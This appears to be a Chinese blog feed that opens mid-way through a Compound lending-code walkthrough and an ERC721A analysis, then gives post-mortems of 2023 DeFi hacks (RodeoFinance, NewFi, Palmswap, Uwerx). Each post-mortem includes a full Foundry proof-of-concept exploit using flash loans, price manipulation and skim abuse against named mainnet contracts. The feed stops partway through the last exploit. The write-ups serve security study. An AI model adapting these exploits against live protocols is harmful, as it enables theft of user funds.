accountBorrows[borrower]。其中principal是用户借款总数,interestIndex为利率指数。</p><h3 id="还款"><a href="#还款" class="headerlink" title="还款"></a>还款</h3><p>入口函数</p><pre class=" language-solidity"><code class="language-solidity"> function repayBorrowInternal(uint repayAmount) internal nonReentrant { accrueInterest(); // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to repayBorrowFresh(msg.sender, msg.sender, repayAmount); }</code></pre><p>与上同理</p><pre class=" language-solidity"><code class="language-solidity"> function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { revert RepayBorrowComptrollerRejection(allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { revert RepayBorrowFreshnessCheck(); } /* We fetch the amount the borrower owes, with accumulated interest */ uint accountBorrowsPrev = borrowBalanceStoredInternal(borrower); /* If repayAmount == -1, repayAmount = accountBorrows */ uint repayAmountFinal = repayAmount == type(uint).max ? accountBorrowsPrev : repayAmount; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ uint actualRepayAmount = doTransferIn(payer, repayAmountFinal); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ uint accountBorrowsNew = accountBorrowsPrev - actualRepayAmount; uint totalBorrowsNew = totalBorrows - actualRepayAmount; /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, actualRepayAmount, accountBorrowsNew, totalBorrowsNew); return actualRepayAmount; }</code></pre><p>同样通过borrowBalanceStoredInternal计算用户的借款总数accountBorrowsPrev(包括利息),再通过doTransferIn(payer, repayAmountFinal);还款并且得到实际还款,最后更新状态。</p><h2 id="计算利息"><a href="#计算利息" class="headerlink" title="计算利息"></a>计算利息</h2><pre><code>此函数用来更新这变量,用于后续计算的利率更新 function accrueInterest() virtual override public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return NO_ERROR; } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ uint blockDelta = currentBlockNumber - accrualBlockNumberPrior; /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint totalBorrowsNew = interestAccumulated + borrowsPrior; uint totalReservesNew = mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); uint borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return NO_ERROR; }</code></pre><p>主要的计算</p><pre><code> Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint totalBorrowsNew = interestAccumulated + borrowsPrior; uint totalReservesNew = mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); uint borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);</code></pre><p>功能如下</p><pre><code>simpleInterestFactor = borrowRate * blockDelta // 计算区块数量时间的利息率interestAccumulated = simpleInterestFactor * totalBorrows // 计算要收的利息totalBorrowsNew = interestAccumulated + totalBorrows // 总借款totalReservesNew = interestAccumulated * reserveFactor + totalReserves // 总储备borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex // 累加借款指数</code></pre><h2 id="InterestRateModel-sol"><a href="#InterestRateModel-sol" class="headerlink" title="InterestRateModel.sol"></a>InterestRateModel.sol</h2><p>Compound有直线型和拐点型两种利率模型。</p><p>直线型:<br>在该模型下,资产的利率会随着资金使用率升高而线性增长(利率 = 基准年利率 + 资金使用率 * 增长率)</p><p>拐点型:<br>在该模型下,资产利率的增长会分为两段,前面一段增长率较低,后面一段增长率较高。</p><p>而为了控制利用率在安全范围内,Compound 大多数抵押品都使用拐点型利率模型。对应合约为 BaseJumpRateModelV2。</p><p>先看合约里的状态变量</p><pre class=" language-solidity"><code class="language-solidity"> uint256 private constant BASE = 1e18; address public owner; uint public constant blocksPerYear = 2102400; uint public multiplierPerBlock; uint public baseRatePerBlock; uint public jumpMultiplierPerBlock; uint public kink;</code></pre><p>BASE: 小数点位数,用于计算。</p><p>owner: 所有者地址,为Timelock合约,</p><p>blocksPerYear: 一年大概的区块数(并不准确),用于计算年利率。</p><p>multiplierPerBlock: 初始斜率k值</p><p>baseRatePerBlock: 利率初始值</p><p>jumpMultiplierPerBlock: 拐点后的斜率k值</p><p>kink: 拐点值。</p><p>借款利率</p><pre class=" language-solidity"><code class="language-solidity"> function getBorrowRateInternal(uint cash, uint borrows, uint reserves) internal view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return ((util * multiplierPerBlock) / BASE) + baseRatePerBlock; } else { uint normalRate = ((kink * multiplierPerBlock) / BASE) + baseRatePerBlock; uint excessUtil = util - kink; return ((excessUtil * jumpMultiplierPerBlock) / BASE) + normalRate; } }</code></pre><p>先通过utilizationRate得到资金利用率,如果资金使用率没超过拐点,借款利率 y = x * k1 + b,如果超过拐点y = x * k2 + b + link*k1。</p><p>注意,这里计算的是一个区块的利率。至于APR,根据官网的描述,一天中的区块利润是单利的,而一年中的365天是复利的。</p><p>获取区块存款利率</p><pre class=" language-solidity"><code class="language-solidity"> function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) virtual override public view returns (uint) { uint oneMinusReserveFactor = BASE - reserveFactorMantissa; uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate * oneMinusReserveFactor / BASE; return utilizationRate(cash, borrows, reserves) * rateToPool / BASE; }</code></pre><p>由上代码可知存款利率 = 资金使用率 * 借款利率 *(1 - 储备金率),简单来说就是借款利息的一部分要分到储备金里进行储备。</p>]]></content>
</entry>
<entry>
<title>ERC721A解析</title>
<link href="/2024/01/17/ERC721A%E8%A7%A3%E6%9E%90/"/>
<url>/2024/01/17/ERC721A%E8%A7%A3%E6%9E%90/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>目前流通中的NFT 项目,大多数都是基于OpenZeppelin的ERC721 实现版本来进行。该协议中对于铸造NFT是调用_safeMint来实现,需要传入的参数分别为“接收者地址”和“token id”。当需要mint多个NFT,使用for循环要mint,算法复杂度是O(N),mint1个NFT就需要进行至少2次SSTORE,所以mint N个NFT则需要进行至少2N次SSTORE。明显,这个成本将非常高昂。为了减少gas花费,Azuki开发了ERC721A。</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><h3 id="铸造"><a href="#铸造" class="headerlink" title="铸造"></a>铸造</h3><p>从Openzeppelin的实现来看,其主要缺点在于没有提供批量Mint的API,使得用户批量Mint时,其算法复杂度达到O(N).故ERC721A提出了一种批量Mint的API,使得其算法复杂度降为O(1).</p><pre><code>function _mint(address to, uint256 quantity) internal virtual {...//checks uint256 tokenId = _currIndex; _balances[to] += quantity; _owners[tokenId] = to;···//emit Event for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0),to,tokenId); tokenId++; } //update index _currIndex = tokenId;}</code></pre><p>ERC721A的_mint,它会代入to与quantity两个参数,而它只会将第一个tokenID记录owner,后续的tokenID并不会直接记录owner,而是会将它的使用权给予前一个被抓到的owner,并且用_currentID去记录原本累积到的tokenID数字加上这次所mint的数量,让下一个minter从这_currentID之后开始mint。</p><h3 id="转账"><a href="#转账" class="headerlink" title="转账"></a>转账</h3><pre><code> function transferFrom( address from, address to, uint256 tokenId ) public payable virtual override { uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId); from = address(uint160(uint256(uint160(from)) & _BITMASK_ADDRESS)); if (address(uint160(prevOwnershipPacked)) != from) _revert(TransferFromIncorrectOwner.selector); (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId); if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A())) if (!isApprovedForAll(from, _msgSenderERC721A())) _revert(TransferCallerNotOwnerNorApproved.selector); _beforeTokenTransfers(from, to, tokenId, 1); assembly { if approvedAddress { sstore(approvedAddressSlot, 0) } } unchecked { --_packedAddressData[from]; ++_packedAddressData[to]; _packedOwnerships[tokenId] = _packOwnershipData( to, _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked) ); if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) { uint256 nextTokenId = tokenId + 1; if (_packedOwnerships[nextTokenId] == 0) { if (nextTokenId != _currentIndex) { _packedOwnerships[nextTokenId] = prevOwnershipPacked; } } } } uint256 toMasked = uint256(uint160(to)) & _BITMASK_ADDRESS; assembly { log4( 0, 0, _TRANSFER_EVENT_SIGNATURE, from, toMasked, tokenId ) } if (toMasked == 0) _revert(TransferToZeroAddress.selector); _afterTokenTransfers(from, to, tokenId, 1); }</code></pre><p>观察mint得到的tokenId,可以发现其均为连续,如果用户alice在mint后在transfer给bob,此时alice的tokenId区域就不连续了,此时应该如何来更新?</p><p>例如:<br>alice,其拥有2,3,4,5,6这5个NFT,当其把3转给bob时,系统的更新应该如下:首先把tokenId=3的NFT的owner更新bob,然后在tokenId=4的NFT的owner应该由原来的address(0)更新为alice。这里的transfer不是批量操作,而是单个NFT的操作。对于多个NFT的批量transfer,这种算法仍然需要O(N).</p><h2 id="销毁"><a href="#销毁" class="headerlink" title="销毁"></a>销毁</h2><p>由于销毁事实上相当于将 NFT 转移给 0 地址,所以其大量逻辑与 transfer 类似。就不赘述了。</p>]]></content>
</entry>
<entry>
<title>20230711 RodeoFinance</title>
<link href="/2023/11/03/20230711-RodeoFinance/"/>
<url>/2023/11/03/20230711-RodeoFinance/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>2023年7月11日,Arbitrum链上的Rodeo Finance: Pool由于价格预言机操纵,而被黑客盗取了472 ETH。</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>攻击者利用了预言机的缺陷控制了unshETH与ETH之间的兑换比率,预言机使用 ETH 与 unshETH 的准备金比率来检查价格。同时攻击者能够通过具有未配置策略地址的 earn 函数强制平台将 USDC 兑换为 unshETH。由于价格预言机存在缺陷,滑点控制无法生效。(具体可见Meth为0x7b37c42b的交易)。</p><pre><code>function earn(address usr, address pol, uint256 str, uint256 amt, uint256 bor, bytes calldata dat) external loop returns (uint256){ if (status < S_LIVE) revert WrongStatus(); if (!pools[pol]) revert InvalidPool(); if (strategies[str] == address(0)) revert InvalidStrategy(); uint256 id = nextPosition++; Position storage p = positions[id]; p.owner = usr; p.pool = pol; p.strategy = str; p.outset = block.timestamp; pullTo(IERC20(IPool(p.pool).asset()), msg.sender, address(actor), uint256(amt)); (int256 bas, int256 sha, int256 bar) = actor.edit(id, int256(amt), int256(bor), dat); p.amount = uint256(bas); p.shares = uint256(sha); p.borrow = uint256(bar); emit Edit(id, int256(amt), int256(bor), sha, bar); return id;}</code></pre><p>其次unshETH价格使用了TWAP,是计算45分钟内的最后4次更新价格实例的平均值,导致攻击者可以通过”三明治”来控制价格,从而套利。</p><pre><code>function latestAnswer() external view returns (int256) { require(block.timestamp < lastTimestamp + (updateInterval * 2), "stale price"); int256 price = (prices[0] + prices[1] + prices[2] + prices[3]) / 4; return price;}</code></pre><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Vulnerable Contract : 0xf3721d8a2c051643e06bf2646762522fa66100da// Attack Tx : 0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25ainterface IInvestor { function earn( address usr, address pol, uint256 str, uint256 amt, uint256 bor, bytes memory dat ) external returns (uint256);}interface ICamelotRouter { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, address referrer, uint256 deadline ) external;}interface ISwapRouter { struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } function exactInput(ExactInputParams memory params) external payable returns (uint256 amountOut);}contract RodeoTest is Test { IERC20 unshETH = IERC20(0x0Ae38f7E10A43B5b2fB064B42a2f4514cbA909ef); IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); IInvestor Investor = IInvestor(0x8accf43Dd31DfCd4919cc7d65912A475BfA60369); ICamelotRouter Router = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d); ISwapRouter SwapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); address private constant usdcPool = 0x0032F5E1520a66C6E572e96A11fBF54aea26f9bE; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("arbitrum", 110_043_452); cheats.label(address(unshETH), "unsETH"); cheats.label(address(WETH), "WETH"); cheats.label(address(USDC), "USDC"); cheats.label(address(Investor), "Investor"); cheats.label(address(Router), "Router"); cheats.label(address(SwapRouter), "SwapRouter"); cheats.label(address(Vault), "Vault"); } function testExploit() public { deal(address(unshETH), address(this), 47_294_222_088_336_002_957); unshETH.approve(address(Router), type(uint256).max); WETH.approve(address(Router), type(uint256).max); USDC.approve(address(SwapRouter), type(uint256).max); Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500)); swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH)); swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC)); swapUSDCToWETH(); takeWETHFlashloanOnBalancer(); } function receiveFlashLoan( address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { swapTokens(amounts[0], address(WETH), address(USDC)); swapUSDCToWETH(); WETH.transfer(address(Vault), amounts[0]); } function swapTokens(uint256 amountIn, address fromToken, address toToken) internal { address[] memory path = new address[](2); path[0] = fromToken; path[1] = toToken; Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( amountIn, 0, path, address(this), address(0), block.timestamp + 100 ); } function swapUSDCToWETH() internal { bytes memory path = abi.encodePacked(address(USDC), uint24(500), address(WETH)); ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(path, address(this), block.timestamp + 100, USDC.balanceOf(address(this)), 0); SwapRouter.exactInput(params); } function takeWETHFlashloanOnBalancer() internal { address[] memory tokens = new address[](1); tokens[0] = address(WETH); uint256[] memory amounts = new uint256[](1); amounts[0] = 30e18; Vault.flashLoan(address(this), tokens, amounts, bytes("")); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230717 NewFi</title>
<link href="/2023/10/26/20230717-NewFi/"/>
<url>/2023/10/26/20230717-NewFi/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>2023年7月17日,bscscan链上的NewFi被黑客攻击,一共损失了价值31k$的BUSD。</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们使用<a href="https://explorer.phalcon.xyz/tx/bsc/0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5">phalcon</a>进行分析,通过phalcon的调用栈分析,可以看到攻击者首先从4个池子贷了大量的BUSD,然后在PancakeSwap: Smart Router V3中通过以质押与回收BUSD从中套了31,099的BUSD。分析StakedV3.Invest()的调用栈,发现sqrtPriceX96从456917351256涨到了396517633895,显然攻击者通过StakedV3的Invest()方法操纵了价格。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Vulnerable Contract : 0xb8dc09eec82cab2e86c7edc8dd5882dd92d22411// Attack Tx : 0x557628123d137ea49564e4dccff5f5d1e508607e96dd20fe99a670519b679cb5interface IStakedV3 { function Invest( uint256 id, uint256 amount, uint256 quoteAmount, uint256 investType, uint256 cycle, uint256 deadline ) external payable;}contract ContractTest is Test { IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); Uni_Router_V3 Router = Uni_Router_V3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4); Uni_Pair_V3 Pair1 = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6); Uni_Pair_V3 Pair2 = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687); Uni_Pair_V3 Pair3 = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523); IStakedV3 StakedV3 = IStakedV3(0xB8dC09Eec82CaB2E86C7EdC8DD5882dd92d22411); function setUp() public { vm.createSelectFork("bsc", 30_043_573); vm.label(address(BUSD), "BUSD"); vm.label(address(USDT), "USDT"); vm.label(address(Router), "Router"); vm.label(address(Pair1), "Pair1"); vm.label(address(Pair2), "Pair2"); vm.label(address(StakedV3), "StakedV3"); } function testExploit() public { USDT.approve(address(Router), type(uint256).max); BUSD.approve(address(Router), type(uint256).max); BUSD.approve(address(StakedV3), type(uint256).max); BUSD.approve(address(StakedV3), type(uint256).max); Pair1.flash(address(this), 0, BUSD.balanceOf(address(Pair1)), abi.encode(BUSD.balanceOf(address(Pair1)))); emit log_named_decimal_uint( "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals() ); } function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external { if (msg.sender == address(Pair1)) { Pair2.flash(address(this), 0, BUSD.balanceOf(address(Pair2)), abi.encode(BUSD.balanceOf(address(Pair2)))); uint256 repayAmount = abi.decode(data, (uint256)); BUSD.transfer(address(Pair1), repayAmount + amount1); } else if (msg.sender == address(Pair2)) { Pair3.flash(address(this), 0, BUSD.balanceOf(address(Pair3)), abi.encode(BUSD.balanceOf(address(Pair3)))); uint256 repayAmount = abi.decode(data, (uint256)); BUSD.transfer(address(Pair2), repayAmount + amount1); } else if (msg.sender == address(Pair3)) { BUSDToUSDT(); StakedV3.Invest(2, 1 ether, 2, 1, 7, block.timestamp + 1000); // remove liquidity and swap BUSD to USDT USDTToBUSD(); uint256 repayAmount = abi.decode(data, (uint256)); BUSD.transfer(address(Pair3), repayAmount + amount1); } } function BUSDToUSDT() internal { bytes memory path = abi.encodePacked(address(BUSD), uint24(100), address(USDT)); address recipient = address(this); uint256 amountIn = 12_000_000 ether; uint256 amountOutMinimum = 0; Uni_Router_V3.ExactInputParams memory ExactInputParams = Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum); Router.exactInput(ExactInputParams); } function USDTToBUSD() internal { bytes memory path = abi.encodePacked(address(USDT), uint24(100), address(BUSD)); address recipient = address(this); uint256 amountIn = USDT.balanceOf(address(this)); uint256 amountOutMinimum = 0; Uni_Router_V3.ExactInputParams memory ExactInputParams = Uni_Router_V3.ExactInputParams(path, recipient, amountIn, amountOutMinimum); Router.exactInput(ExactInputParams); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230724 Palmswap</title>
<link href="/2023/10/13/20230724-Palmswap/"/>
<url>/2023/10/13/20230724-Palmswap/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>Palmswap由于其蹩脚的业务逻辑,导致了价格被黑客操控,导致被黑客盗取了大约$900K</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/bsc/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9">phalcon</a>来分析。</p><p>通过调用栈发现,攻击者先贷了3,000,000的USDT,然后质押1,000,000的USDT来获得大约996,324的PLP,然后用剩下的2,000,000的USDT,去购买了USDP,然后攻击者销毁了持有的所有的PLP,但得到了大约1,947,570的USTD。最后卖出USDP,大约得到1,947,570的USDT。</p><p>显然,攻击者在通过购买USDP操纵了PLP的价格。</p><pre><code> function getPrice(bool _maximise) external view returns (uint256) { uint256 aum = getAum(_maximise); uint256 supply = IERC20Upgradeable(plp).totalSupply(); return (aum * PLP_PRECISION) / supply; } function getAums() public view returns (uint256[] memory) { uint256[] memory amounts = new uint256[](2); amounts[0] = getAum(true); amounts[1] = getAum(false); return amounts; } function getAumInUsdp(bool maximise) public view override returns (uint256) { uint256 aum = getAum(maximise); return (aum * (10**USDP_DECIMALS)) / PRICE_PRECISION; } function getAum(bool maximise) public view returns (uint256) { uint256 length = vault.allWhitelistedTokensLength(); uint256 aum = aumAddition; IVault _vault = vault; uint256 collateralTokenPrice = maximise ? _vault.getMaxPrice(collateralToken) : _vault.getMinPrice(collateralToken); uint256 collateralDecimals = _vault.tokenDecimals(collateralToken); uint256 currentAmmDeduction = (vault.permanentPoolAmount() * collateralTokenPrice) / (10**collateralDecimals); aum += (vault.poolAmount() * collateralTokenPrice) / (10**collateralDecimals); .......</code></pre><p>很明显攻击者通过买USDP来使Price增大。然后通过移除流动性获利。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>pragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9interface IVault { function buyUSDP(address _receiver) external returns (uint256); function sellUSDP(address _receiver) external returns (uint256);}interface ILiquidityEvent { function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut); function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);}contract PalmswapTest is Test { IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC); IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc); IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A); ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1); IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281); address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0; address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("bsc", 30_248_637); cheats.label(address(BUSDT), "BUSDT"); cheats.label(address(PLP), "PLP"); cheats.label(address(USDP), "USDP"); cheats.label(address(Vault), "Vault"); cheats.label(address(LiquidityEvent), "LiquidityEvent"); cheats.label(address(RadiantLP), "RadiantLP"); cheats.label(plpManager, "plpManager"); cheats.label(fPLP, "fPLP"); } function testExploit() public { deal(address(BUSDT), address(this), 0); BUSDT.approve(plpManager, type(uint256).max); BUSDT.approve(address(RadiantLP), type(uint256).max); PLP.approve(fPLP, type(uint256).max); takeFlashLoanOnRadiant(); } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool) { uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0); BUSDT.transfer(address(Vault), 2_000_000 * 1e18); Vault.buyUSDP(address(this)); uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this)); USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18); Vault.sellUSDP(address(this)); return true; } function takeFlashLoanOnRadiant() internal { address[] memory assets = new address[](1); assets[0] = address(BUSDT); uint256[] memory amounts = new uint256[](1); amounts[0] = 3_000_000 * 1e18; uint256[] memory modes = new uint256[](1); modes[0] = 0; RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0); }}</code></pre>]]></content>
</entry>
<entry>
<title>20230802 Uwerx</title>
<link href="/2023/10/12/20230802-Uwerx/"/>
<url>/2023/10/12/20230802-Uwerx/</url>
<content type="html"><![CDATA[<h1 id="攻击介绍"><a href="#攻击介绍" class="headerlink" title="攻击介绍"></a>攻击介绍</h1><p>2023年8月2日,<a href="https://twitter.com/uwerx_network">Uwerx</a>被黑客攻击,损失了175ETH。</p><h1 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h1><p>我们通过<a href="https://explorer.phalcon.xyz/tx/eth/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8">phalcon</a>来分析。</p><p>通过调用栈能发现攻击者通过不断在uniswap V2 Pool交换,最终获利。很明显是Pool的兑换比率被破坏了。之所以能被破坏,是因为uwerx TOKEN合约的_transfer()方法被利用了。</p><pre><code>function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (to == uniswapPoolAddress) { uint256 userTransferAmount = (amount * 97) / 100; uint256 marketingAmount = (amount * 2) / 100; uint256 burnAmount = amount - userTransferAmount - marketingAmount; emit Transfer(from, to, userTransferAmount); emit Transfer(from, marketingWalletAddress, marketingAmount); _burn(from, burnAmount); } else { emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); }</code></pre><p>可以发现当to == uniswapPoolAddress时会有1%的token被销毁。uniswapPoolAddress为0x00……0001,此时调用uniswap的skim(to)方法,to设为0x00……0001,就能让Pool的兑换比率被破坏。</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><pre><code>pragma solidity ^0.8.10;import "forge-std/Test.sol";import "./interface.sol";// Vulnerable Contract : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54// Attack Tx : https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8contract ContractTest is Test { IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54); Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4); function setUp() public { vm.createSelectFork("https://eth.llamarpc.com", 17826202); vm.label(address(WETH), "WETH"); vm.label(address(WERX), "WERX"); vm.label(address(Router), "Router"); vm.label(address(pair), "pair"); } function testExploit() external { // mock a flash loan for simplicity deal(address(WETH), address(this), 20_000 ether); WETH.approve(address(Router), type(uint256).max); WERX.approve(address(Router), type(uint256).max); pair.sync(); address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(WERX); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(20_000 ether, 0, path, address(this), block.timestamp); WERX.transfer(address(pair), 4429817738575912760684500); pair.skim(address(0x01)); pair.sync(); path[0] = address(WERX); path[1] = address(WETH); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp); emit log_named_decimal_uint( "Attacker 